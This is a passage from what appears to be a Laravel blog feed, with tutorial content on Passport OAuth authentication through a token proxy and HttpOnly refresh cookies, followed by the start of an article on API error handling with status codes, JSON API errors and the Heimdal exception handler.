class="nv">$this</span><span class="o">-&gt;</span><span class="na">auth</span><span class="o">-&gt;</span><span class="na">user</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">token</span><span class="p">();</span> <span class="nv">$refreshToken</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">db</span> <span class="o">-&gt;</span><span class="na">table</span><span class="p">(</span><span class="s1">'oauth_refresh_tokens'</span><span class="p">)</span> <span class="o">-&gt;</span><span class="na">where</span><span class="p">(</span><span class="s1">'access_token_id'</span><span class="p">,</span> <span class="nv">$accessToken</span><span class="o">-&gt;</span><span class="na">id</span><span class="p">)</span> <span class="o">-&gt;</span><span class="na">update</span><span class="p">([</span> <span class="s1">'revoked'</span> <span class="o">=&gt;</span> <span class="kc">true</span> <span class="p">]);</span> <span class="nv">$accessToken</span><span class="o">-&gt;</span><span class="na">revoke</span><span class="p">();</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">cookie</span><span class="o">-&gt;</span><span class="na">queue</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">cookie</span><span class="o">-&gt;</span><span class="na">forget</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">REFRESH_TOKEN</span><span class="p">));</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> Quite the mouthful, I know. But the important code lives in <code>proxy()</code>. Let us take a closer look. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="nf">proxy</span><span class="p">(</span><span class="nv">$grantType</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$data</span> <span class="o">=</span> <span class="p">[])</span> <span class="p">{</span> <span class="cm">/* We take whatever passed data and add the client credentials that we saved earlier in .env. So when we refresh we send client credentials plus our refresh token, and when we use the password grant we pass the client credentials plus user credentials. */</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">array_merge</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="p">[</span> <span class="s1">'client_id'</span> <span class="o">=&gt;</span> <span class="nx">env</span><span class="p">(</span><span class="s1">'PASSWORD_CLIENT_ID'</span><span class="p">),</span> <span class="s1">'client_secret'</span> <span class="o">=&gt;</span> <span class="nx">env</span><span class="p">(</span><span class="s1">'PASSWORD_CLIENT_SECRET'</span><span class="p">),</span> <span class="s1">'grant_type'</span> <span class="o">=&gt;</span> <span class="nv">$grantType</span> <span class="p">]);</span> <span class="cm">/* We use Optimus\ApiConsumer to make an "internal" API request. More on this below. */</span> <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">apiConsumer</span><span class="o">-&gt;</span><span class="na">post</span><span class="p">(</span><span class="s1">'/oauth/token'</span><span class="p">,</span> <span class="nv">$data</span><span class="p">);</span> <span class="cm">/* If a token was not created, for whatever reason we throw a InvalidCredentialsException. This will return a 401 status code to the client so that the user can take appropriate action. */</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">isSuccessful</span><span class="p">())</span> <span class="p">{</span> <span class="k">throw</span> <span class="k">new</span> <span class="nx">InvalidCredentialsException</span><span class="p">();</span> <span class="p">}</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getContent</span><span class="p">());</span> <span class="cm">/* We save the refresh token in a HttpOnly cookie. This will be attached to the response in the form of a Set-Cookie header. Now the client will have this cookie saved and can use it to request new access tokens when the old ones expire. */</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">cookie</span><span class="o">-&gt;</span><span class="na">queue</span><span class="p">(</span> <span class="nx">self</span><span class="o">::</span><span class="na">REFRESH_TOKEN</span><span class="p">,</span> <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">refresh_token</span><span class="p">,</span> <span class="mi">864000</span><span class="p">,</span> <span class="c1">// 10 days </span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span> <span class="c1">// HttpOnly </span> <span class="p">);</span> <span class="k">return</span> <span class="p">[</span> <span class="s1">'access_token'</span> <span class="o">=&gt;</span> <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">access_token</span><span class="p">,</span> <span class="s1">'expires_in'</span> <span class="o">=&gt;</span> <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">expires_in</span> <span class="p">];</span> <span class="p">}</span> </code></pre> </div> <p></p> <h4 id="internal-api-consumption-with-optimusapiconsumer">Internal API consumption with Optimus\ApiConsumer</h4> <p> One concept that is probably new for you here is that of <code>$this-&gt;apiConsumer</code>. This is one of my small libraries that you can use for making "internal" requests. The way it works is that it will use the Laravel router and "fake" that a request was made by the client. We can use this to call one of our own routes. Of course if your authorization server lives on another server, or if you prefer to make the request over the internet then you can replace this with an alternative mechanism such as Guzzle. <a target="_blank" href="http://esbenp.github.io/2015/05/26/lumen-web-api-oauth-2-authentication/">You can check out one of my older articles for a Guzzle example</a>. </p> <p> The API consumer library is called <code>Optimus\ApiConsumer</code> and you can easily add it to Laravel through composer. <a target="_blank" href="https://github.com/esbenp/laravel-api-consumer">You can also check out the source code here</a>. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>composer require optimus/api-consumer 0.2.<span class="k">*</span> </code></pre> </div> <p> You will also need to add a service provider to <code>config/app.php</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nx">Optimus\ApiConsumer\Provider\LaravelServiceProvider</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> </code></pre> </div> <p></p> <h3 id="testing-that-things-work">Testing that things work</h3> <p> Now we are ready to test that things are working. First you will need to add a user. Somewhere add this code and run it. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nx">DB</span><span class="o">::</span><span class="na">table</span><span class="p">(</span><span class="s1">'users'</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">insert</span><span class="p">([</span> <span class="s1">'name'</span> <span class="o">=&gt;</span> <span class="s1">'Esben'</span><span class="p">,</span> <span class="s1">'email'</span> <span class="o">=&gt;</span> <span class="s1">'esben@esben.dk'</span><span class="p">,</span> <span class="s1">'password'</span> <span class="o">=&gt;</span> <span class="nb">password_hash</span><span class="p">(</span><span class="s1">'1234'</span><span class="p">,</span> <span class="nx">PASSWORD_BCRYPT</span><span class="p">)</span> <span class="p">]);</span> </code></pre> </div> <p> This should add a user for us to use for testing. Just remember to remove it again. There are a lot of ways for us to test. I prefer to do it quickly from the command line using cURL. Run the command below. Remember to switch the url to your own. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>curl -X POST http://larapi.dev/login -b cookies.txt -c cookies.txt -D headers.txt -H <span class="s1">'Content-Type: application/json'</span> -d <span class="s1">' { "email": "esben@esben.dk", "password": "1234" } '</span> </code></pre> </div> <p> If you get a response like the one below everything is working properly. If not, try to backtrack and see if you missed a step. </p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">{</span><span class="nt">"access_token"</span><span class="p">:</span><span class="s2">"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp0aSI6Ijc5Y2M4NDVjMGQ3YjZkYjcxMThjNjI3NDRhZTM0MzFkYzc3NTNkODEyNTFjNzFkM2M0MjgwMmVkMmE1ZmVmNDI1ZDk2ODUzOTNlZWIzNDE1In0.eyJhdWQiOiIyIiwianRpIjoiNzljYzg0NWMwZDdiNmRiNzExOGM2Mjc0NGFlMzQzMWRjNzc1M2Q4MTI1MWM3MWQzYzQyODAyZWQyYTVmZWY0MjVkOTY4NTM5M2VlYjM0MTUiLCJpYXQiOjE0ODk5MTQ4MjIsIm5iZiI6MTQ4OTkxNDgyMiwiZXhwIjoxNDg5OTE1NDIyLCJzdWIiOiIyIiwic2NvcGVzIjpbXX0.Se3rO03T9w93m31gSCy8O-FnCZP6FCoIUhU9AyY-Nl3ZZHciuPEP0NikPhrssIOa4-gLRk53j53S_j6Twv_PY_sRosCe2kDA0Qdao5zePV79M_sEvb9VOcbcRHSJMU0GcNo0Cs7B8gf8YDlArj5qKIkoOctO1r9SWcpoEqBl1nHPmueTCUotu3CWWB-LXPNTIMZk13B9misb3oq0n4PUqivAT73aSWLgVH_eJbvG8zxdumpZME_TgX_36YemDm3l_31PMczH9QRkRf86ShP2Ji6gbVZrFnbI5UFOXWEVDGSfl6FVa5NqDi9iqpKNc4WCossy9DlAGGYtKFsbNpMxULZWv7NevblnQ5j0SpbEo_ISSKzfrWELNNSj06KeG7Et8SudIhyTaLv4GIDBA5U-LQY-Z4XutlxVrlkmb2OmClp1SmTaMGK0Fqge3DuxnfurBH3rLrVeOa9OIYz_VUXu9SQhKdLEZyPX3uNO7Yuh5DhLrQ8INrwcYxN1dtg9GNpWqM9h4DJNZ3mPaoEgAGTzzCmXXJL1KF7_h5F2EVl2h0dbzQMZjdacjVvkL-oWLwEXjykpqano6xHUDaYp9Q7RID7ehNcUUwhir8035DnxBr8O3-TVT4QHVWJA-GMVXhpLdHrah2gbhEDfgSoGKuAQQW9KkqTsaC4DvIeYuuKGOB8"</span><span class="p">,</span><span class="nt">"expires_in"</span><span class="p">:</span><span class="mi">600</span><span class="p">}</span><span class="w"> </span></code></pre> </div> <p> If you open <code>headers.txt</code> you can also see the refresh token being set as a <code>HttpOnly</code> cookie. </p> <div class="highlighter-rouge"><pre class="highlight"><code>HTTP/1.1 200 OK Server: nginx Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.0.10 Cache-Control: no-cache, private Date: Sun, 19 Mar 2017 09:13:42 GMT Set-Cookie: refreshToken=eyJpdiI6InQyam9vSXRMenIxMFFWWVVDTUhlbFE9PSIsInZhbHVlIjoiTFF5ZkNlaWNJRmsxSEg4T01XZVN5Q3N3a3hmOTFpU012aFE3N2E4WTd0RXFJMjJNNzVLRTFPUWpKdk52THkyQzc0VFwvcnczaG5lcXR6ZW1BR05TcGMwWFZZZldoNzhHczJtRHhzSjhkVFVqVkQyWEVqUWpNeTdnd3plVDA3TW4wYituTHZHdW5jV01CWWJkZHA5b3V3TmJrZXZpaUhLcmhkTGdqb2lcLzZTb201bzJOaU1DTTdjbkxvZzRWK3lEOXpyMThmVGRPSmZFc09Jc2x1cGV1RmIrVEdSa1RFb1BhSmtTMTRtMXVGMzdkTkRsXC9oOW45TWZNaVB0aHZ3ZTNVUmN0UHpqaVdSS0hHTUhkYk1vOFZvY2IrUHlvb202cHkxekd2N0UxNnlqeVNDV2pGdjc5eEV5WEFzTGxJNHZlSDk2UFhmdTNoTUs2OGtqSk1UZjE1WTBrUzIxazRFSEtTMnB3Y1ZUdGxqRjZ0bDQ5RUIwMFwvM2h4SG0xbk9OZlQwNFFzUnpURTlrSGxXVGhOaUp4amxyN0cxcGVXdlhrNUhXMldjSnNMZ3hVS0ZUV1A3V1Y5K0pOYnJ5VTVQM2p1clF1T052WFl2Yko4YnJUMmdZV1wvb1pUVnVsMUVwOXpFSWRPS0crTmEwa3MrQXlGYUptYnl0K01WbHZxcGFLUW1NemdMbk54Mjg0dkRFMldNTjF0bGVVNmE0MVlYNXk3V3N3dU8rRmVCN0cxNkYzSWJ0UkNpbWZlTTh1R1RJQTc5SnNKcWNrY0tcL2dmTmNiTFJnTjM3WTJpdzhUdGRmb3R2XC9qYlwvVURyWVFiXC9SN2VKOVNLMGVYWStsdTlHaGkxc01ndmlwM1lnYVBjK2wzMERadVdDRGw3Tjk1c0EzNHlZYXhxVlYzZ3N0SUlKUG5aSHB5SjZlREJIamhQb2loeUduNTBlWkJ0SFgzYitTNHpwbTZMNHVwMnZZUnN1K3JtZlpGM0ZrRjc0TVRHR2dxTFNXVnRTbHJhK2Vyc2NxOEorZDloa3dcL1VcL2F1c1lFVXRudW81Uk1vM0tTcU1BVE5LRE5xeHBrNmR3WTRUSFV2MnFncWZ3WHNwdko5NmRZRnU1XC9RemxzTkVsUmZicXB1SThqbE41TFdtMVQyNE1EY0FWN0g4N0grNGExeWlHZGlYZ2hEXC9WUkh2cFVucTFIT1JcL3hsYXR3eWU3UGJFZGprT24yZ29RbG5hSnUxXC81OXZmdFdwZnIzUEFHXC9qcXdTRT0iLCJtYWMiOiI3MTc3MzVhYjg2MDAyY2MwMDQ1MmUxOWQ2OTcxYzFjYWI3ZDMwZjNkZDMwM2UyY2NhZjE0MzA3MDBmYzdiZWZhIn0%3D; expires=Fri, 09-Nov-2018 09:13:42 GMT; Max-Age=51840000; path=/; HttpOnly X-UA-Compatible: IE=Edge </code></pre> </div> <p> Because we use the <code>-c</code> and <code>-b</code> flags we will save and use cookies between requests, just like a browser. So we can actually try to refresh our token using the refresh token by running the command below. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>curl -X POST http://larapi.dev/login/refresh -b cookies.txt -c cookies.txt </code></pre> </div> <p> If you get a new access token that means this worked as well. Lastly, we can try to run logout. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>curl -X POST http://larapi.dev/logout -b cookies.txt -c cookies.txt </code></pre> </div> <p> Now, if you run the refresh command you should get a <code>401 Unauthorized</code> response. </p> <h2 id="scoping-user-requests-to-entities-belonging-to-requesting-user">Scoping user requests to entities belonging to requesting user</h2> <p> So now that we got it all working, how do we using it? Well if you added the <code>auth:api</code> guard to <code>config/optimus.components.php</code> all of your protected routes will now check for a valid access token. If no valid access token was found in the <code>Authorization</code> header of the request Laravel will automatically return a 401 response. What is even more nifty is that Passport will automatically resolve the user model when requesting using the password grant. This means you can access the current user using the <code>AuthManager</code> or the <code>Auth</code> facade. </p> <p> Imagine you were making the next billion dollar start-up. Let us say you were making the next <a target="_blank" href="https://slack.com">Slack</a> competitor. Whenever a user logs into a chat room it should display all the channels belonging to that chatroom. So imagine the following relationship. </p> <div class="highlighter-rouge"><pre class="highlight"><code>Chat Room 1 -------&gt; n Users Chat Room 1 -------&gt; n Channels </code></pre> </div> <p><img src="/img/laravel-api-part-4/channels.jpg" alt="Channels belonging to a chat room" class="img-responsive" /></p> <p> To fill out the left navigation we have to request all the channels belonging to the Traede team when the user logs in. Imagine we have the endpoint <code>GET /channels</code> and that will just get all the channels appropriate for the user. Now the code below is an arbitrary, made-up example but it should demonstrate how one might go about scoping requests based on the current user. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Api\ChatRooms\Services</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Api\ChatRooms\Repositories\ChannelRepository</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Auth\AuthManager</span><span class="p">;</span> <span class="k">class</span> <span class="nc">ChatRoomService</span> <span class="p">{</span> <span class="k">private</span> <span class="nv">$auth</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$channelRepository</span><span class="p">;</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">__construct</span><span class="p">(</span><span class="nx">AuthManager</span> <span class="nv">$auth</span><span class="p">,</span> <span class="nx">ChannelRepository</span> <span class="nv">$channelRepository</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">auth</span> <span class="o">=</span> <span class="nv">$auth</span><span class="p">;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">channelRepository</span> <span class="o">=</span> <span class="nv">$channelRepository</span><span class="p">;</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">getChannels</span><span class="p">()</span> <span class="p">{</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">auth</span><span class="o">-&gt;</span><span class="na">user</span><span class="p">();</span> <span class="nv">$channels</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">channelRepository</span><span class="o">-&gt;</span><span class="na">getWhere</span><span class="p">(</span><span class="s1">'chatroom_id'</span><span class="p">,</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">chatroom_id</span><span class="p">);</span> <span class="k">return</span> <span class="nv">$channels</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> Now we can have multiple chatrooms on the same API, using the same database. Every user will get a different response to <code>GET /channels</code>. This was just a small example of how you use the user context to scope your API requests. </p> <h2 id="conclusion">Conclusion</h2> <p> This last example will also conclude this article on how to implement authentication for your API. By using Laravel Passport we easily install a robust authentication solution for our API. Using a proxy and HttpOnly cookies we increase the security of our solution. </p> <p> Do not forget to further study the principles of OAuth for the best possible setup. Especially remember that the OAuth 2 spec assumes by default that there is a secure connection between the server and the client! </p> <p> The full code to this article can be found here: <a href="https://github.com/esbenp/larapi-part-4">larapi-part-4</a> </p> <p> All of these ideas and libraries are new and underdeveloped. Are you interested in helping out? Reach out on <a href="mailto:esbenspetersen@gmail.com">e-mail</a>, <a href="https://twitter.com/esbenp">twitter</a> or <a href="https://github.com/esbenp/larapi/issues">the Larapi repository</a> </p> Sun, 19 Mar 2017 09:00:00 +0100 http://esbenp.github.io/2017/03/19/modern-rest-api-laravel-part-4/ http://esbenp.github.io/2017/03/19/modern-rest-api-laravel-part-4/ A modern REST API in Laravel 5 Part 3: Error handling <h2 id="tldr">tl;dr</h2> <p> Install <code>optimus/heimdal</code> to get an extensive exception handler for your Laravel API with Sentry integration. </p> <p> The full code to this article can be found here: <a href="https://github.com/esbenp/larapi-part-3">larapi-part-3</a> </p> <h2 id="introduction">Introduction</h2> <p> Error handling is often an overlooked element of development, unfortunately. Luckily, this article will take you through the basics of API error handling. We will also install the <a target="_blank" href="https://github.com/esbenp/heimdal">API exception handler for Laravel Heimdal</a> which will quickly give us an awesome API exception handler with Sentry integration out of the box. </p> <h2 id="agenda">Agenda</h2> <p> In this article I will take you through... </p> <ol> <li>A general introduction to how to do error handling in an API</li> <li>Show you how to customize how different errors are formatted using Heimdal</li> <li> Show you how to log your errors in external trackers using reporters </li> </ol> <p> Let's do this. </p> <h2 id="api-error-handling-crash-course">API error handling crash course</h2> <p> If you are already an avid Laravel user you will now that the classic way Laravel handles errors are by rendering a certain view based on the error severity. A <code>404</code> exeption? Show the <code>404.blade.php</code> page. A <code>5xx</code> error? Show the stack trace exception page in development mode and a production message in production environments. </p> <p> This is all great but the way we do it in APIs is a bit different. You will soon discover that status codes have great meaning when dealing with APIs. The clients that consume our API will most likely run behaviour based on the status code returned by our API. Imagine a user tries to submit a form but Laravel throws a validation error (status code <code>422</code>). The client will start parsing the response by reading that this is a <code>422</code> response. Therefore the client knows this is an error caused by the data sent to the API (because <code>4xx</code> errors are client errors, while <code>5xx</code> errors are caused by the server). A <code>422</code> typically means a validation error, so we take the response (probably validation error messages) and parse them through our validation error flow (show the validation error messages to the user). </p> <div class="highlighter-rouge"><pre class="highlight"><code>User ------&gt; Submits form ------&gt; Data ------&gt; API ^ | | v Fix error Validation error ^ | | v Show error to user &lt;---- Client &lt;----- 422 response </code></pre> </div> <p> Notice the difference here is that normally the user <u>sees</u> a 404 page or similar and determines the corresponding action by reading the view. When consuming APIs it is typically the computer that has to "see" the response and determine the corresponding action. If we showed a 404 page to the computer how would it know how to react? This is why getting the status codes right is so important. </p> <div class="highlighter-rouge"><pre class="highlight"><code>User --------&gt; Request resource --------&gt; API ^ | | v Login Unauthorized User ^ | | v Redirect to login &lt;---- Client &lt;----- 401 response </code></pre> </div> <p> So what are some typical uses of HTTP statuses in APIs? Look no further than the table below. </p> <table class="table"> <thead> <tr> <th>Code</th> <th>Name</th> <th>What does it mean?</th> </tr> </thead> <tbody> <tr> <td>401</td> <td>Unauthorized</td> <td>You are not logged in, e.g. using a valid access token</td> </tr> <tr> <td>403</td> <td>Forbidden</td> <td>You are authenticated but do not have access to what you are trying to do</td> </tr> <tr> <td>404</td> <td>Not found</td> <td>The resource you are requesting does not exist</td> </tr> <tr> <td>405</td> <td>Method not allowed</td> <td> The request type is not allowed, e.g. <code>/users</code> is a resource and <code>POST /users</code> is a valid action but <code>PUT /users</code> is not. </td> </tr> <tr> <td>422</td> <td>Unprocessable entity</td> <td> The request and the format is valid, however the request was unable to process. For instance when sent data does not pass validation tests. </td> </tr> <tr> <td>500</td> <td>Server error</td> <td> An error occured on the server which was not the consumer's fault. </td> </tr> </tbody> </table> <p> This was by no means an exhaustive list. There are more status codes but these were all general ones to give you an idea of what you typically work with. Curious for more? <a target="_blank" href="https://httpstatuses.com">Here is a great overview of HTTP status codes</a>. </p> <p> So now that we know what status codes to use, how should we go about formatting our response? Well, there are a lot of opinions on that. Many times it could just be an empty response. </p> <div class="highlighter-rouge"><pre class="highlight"><code>HTTP/1.0 401 Unauthorized Content-Type: application/json {} HTTP/1.0 403 Forbidden Content-Type: application/json {} HTTP/1.0 405 Method not allowed Content-Type: application/json {} </code></pre> </div> <p> Albeit not very helpful these are all valid responses. The client should be able to perform a corresponding action based on these responses, e.g. redirection. </p> <p> At <a target="_blank" href="https://traede.com">Traede</a> we have access control using users, roles and permissions. Sometimes it is beneficial to show an user an action they are not allowed to perform. In such cases when they try to perform the action we will display a modal saying "You do not have access to viewing this customer's orders" or similar. To actually know what the user is not allowed to do we have to get the missing permissions from the request. Therefore, our 403 responses are formatted somewhat like this. </p> <div class="highlighter-rouge"><pre class="highlight"><code>HTTP/1.0 403 Forbidden Content-Type: application/json {"error":true","missing_permissions":[{"permission":"orders:read","description":"customer's orders"}]} </code></pre> </div> <p> So now our client has some useful information that it can display the user. So maybe, if this was an employee with limited access he can request access from someone who can give it to him. </p> <h3 id="standardizing-error-responses-with-json-api">Standardizing error responses with JSON API</h3> <p> The <a target="_blank" href="http://jsonapi.org/">JSON API specification</a> is one of several specifications discussing a standardized API design. Other examples include <a target="_blank" href="https://github.com/Microsoft/api-guidelines">Microsoft's API guidelines</a> and <a target="_blank" href="https://github.com/interagent/http-api-design">Heroku's HTTP API design</a>. For the remainder of this article we will focus solely on JSON API. Not saying this is the "best". </p> <p> The only requirement for JSON API errors is that each object is in an array keyed by <code>errors</code>. Then there is a list of members you can put in each error object. None are required. <a target="_blank" href="http://jsonapi.org/format/#error-objects">You can see the exhaustive list here</a>. </p> <p> As an example imagine we try to create an user using <code>POST /users</code>. Let us say two validation errors occur: (1) the email is not an valid email and the password is not long enough. Using JSON API we could return this using this JSON object. </p> <div class="highlighter-rouge"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nt">"errors"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"422"</span><span class="p">,</span><span class="w"> </span><span class="nt">"code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"110001"</span><span class="p">,</span><span class="w"> </span><span class="nt">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Validation error"</span><span class="p">,</span><span class="w"> </span><span class="nt">"detail"</span><span class="p">:</span><span class="w"> </span><span class="s2">"The email esben@petersendk is not an valid email."</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"422"</span><span class="p">,</span><span class="w"> </span><span class="nt">"code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"110002"</span><span class="p">,</span><span class="w"> </span><span class="nt">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Validation error"</span><span class="p">,</span><span class="w"> </span><span class="nt">"detail"</span><span class="p">:</span><span class="w"> </span><span class="s2">"The password has to be at least 8 characters long, you entered 7."</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre> </div> <div class="highlighter-rouge"><pre class="highlight"><code>HTTP/1.0 422 Unprocessable entity Content-Type: application/json {"errors":[{"status":"422","code":"110001","title":"Validation error","detail":"The email esben@petersendk is not an valid email."},{"status":"422","code":"110002","title":"Validation error","detail":"The password has to be at least 8 characters long, you entered 7."}]} </code></pre> </div> <p> The client can easily display these to the user so that inputs can be changed. </p> <p> Alright, this was a crash course to error handling. Let us look at some implementation! </p> <h2 id="implementing-heimdal-the-api-exception-handler-for-laravel">Implementing Heimdal, the API exception handler for Laravel</h2> <p> At Traede we use <a target="_blank" href="https://github.com/esbenp/heimdal">Heimdal an API exception handler for APIs</a>. It is easily installable using the guide in the README. The rest of this guide will assume you have installed it. PRO tip: My <a target="_blank" href="https://github.com/esbenp/larapi">Laravel API fork</a> already comes with Heimdal installed. </p> <p> Alright, so Heimdal is installed and the config file <code>optimus.heimdal.php</code> has been published to our configuration directory. It already comes with sensible defaults as how to format ones errors. Let us take a look. </p> <div class="highlighter-rouge"><pre class="highlight"><code>'formatters' =&gt; [ SymfonyException\UnprocessableEntityHttpException::class =&gt; Formatters\UnprocessableEntityHttpExceptionFormatter::class, SymfonyException\HttpException::class =&gt; Formatters\HttpExceptionFormatter::class, Exception::class =&gt; Formatters\ExceptionFormatter::class, ], </code></pre> </div> <p> So the way this works is that the higher the exception is, the higher the priority. So if an <code>UnprocessableEntityHttpException</code> (validation error) is thrown then it will be formatted using the <code>UnprocessableEntityHttpExceptionFormatter</code>. However, if an <code>UnauthorizedHttpException</code> is thrown there is no special formatter so it will be passed down through the <code>formatters</code> array until it hits a relevant formatter. </p> <p> The <code>UnauthorizedHttpException</code> is a Symfony Http Exception is a subclass of <code>HttpException</code> and will therefore be caught by this line. </p> <div class="highlighter-rouge"><pre class="highlight"><code>SymfonyException\HttpException::class =&gt; Formatters\HttpExceptionFormatter::class, </code></pre> </div> <p> Let us assume the error that occurs is an server error (500). Imagine PHP throws an <code>InvalidArgumentException</code>. This is not a subclass of <code>HttpException</code> but is a subclass of <code>Exception</code> and will therefore be caught by the last line. </p> <div class="highlighter-rouge"><pre class="highlight"><code>Exception::class =&gt; Formatters\ExceptionFormatter::class </code></pre> </div> <p> So it will be formatted using <code>ExceptionFormatter</code>. Let us take a quick look at what it does. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Optimus\Heimdal\Formatters</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Exception</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Http\JsonResponse</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Optimus\Heimdal\Formatters\BaseFormatter</span><span class="p">;</span> <span class="k">class</span> <span class="nc">ExceptionFormatter</span> <span class="k">extends</span> <span class="nx">BaseFormatter</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">format</span><span class="p">(</span><span class="nx">JsonResponse</span> <span class="nv">$response</span><span class="p">,</span> <span class="nx">Exception</span> <span class="nv">$e</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$reporterResponses</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">setStatusCode</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">getData</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">debug</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">array_merge</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="p">[</span> <span class="s1">'code'</span> <span class="o">=&gt;</span> <span class="nv">$e</span><span class="o">-&gt;</span><span class="na">getCode</span><span class="p">(),</span> <span class="s1">'message'</span> <span class="o">=&gt;</span> <span class="nv">$e</span><span class="o">-&gt;</span><span class="na">getMessage</span><span class="p">(),</span> <span class="s1">'exception'</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="nx">string</span><span class="p">)</span> <span class="nv">$e</span><span class="p">,</span> <span class="s1">'line'</span> <span class="o">=&gt;</span> <span class="nv">$e</span><span class="o">-&gt;</span><span class="na">getLine</span><span class="p">(),</span> <span class="s1">'file'</span> <span class="o">=&gt;</span> <span class="nv">$e</span><span class="o">-&gt;</span><span class="na">getFile</span><span class="p">()</span> <span class="p">]);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nv">$data</span><span class="p">[</span><span class="s1">'message'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">config</span><span class="p">[</span><span class="s1">'server_error_production'</span><span class="p">];</span> <span class="p">}</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="na">setData</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> Alright so when we are working in a development environment the returned error will just be the information available in the Exception: line number, file and so forth. When we are in a production environment we do not wish to display this kind of information to the user so we just return a special Heimdal configuration key <code>server_error_production</code>. This defaults to "An error occurred". </p> <p><strong>Debug environment</strong></p> <div class="highlighter-rouge"><pre class="highlight"><code>HTTP/1.0 500 Internal server error Content-Type: application/json {"status":"error","code":0,"message":"","exception":"InvalidArgumentException in [stack trace]","line":4,"file":"[file]"} </code></pre> </div> <p><strong>Production environment</strong></p> <div class="highlighter-rouge"><pre class="highlight"><code>HTTP/1.0 500 Internal server error Content-Type: application/json {"message":"An error occurred"} </code></pre> </div> <p> Alright now, what about the <code>HttpExceptionFormatter</code>? </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">namespace</span> <span class="nx">Optimus\Heimdal\Formatters</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Exception</span><span class="p">;</span> <span class="k">use</span> <span 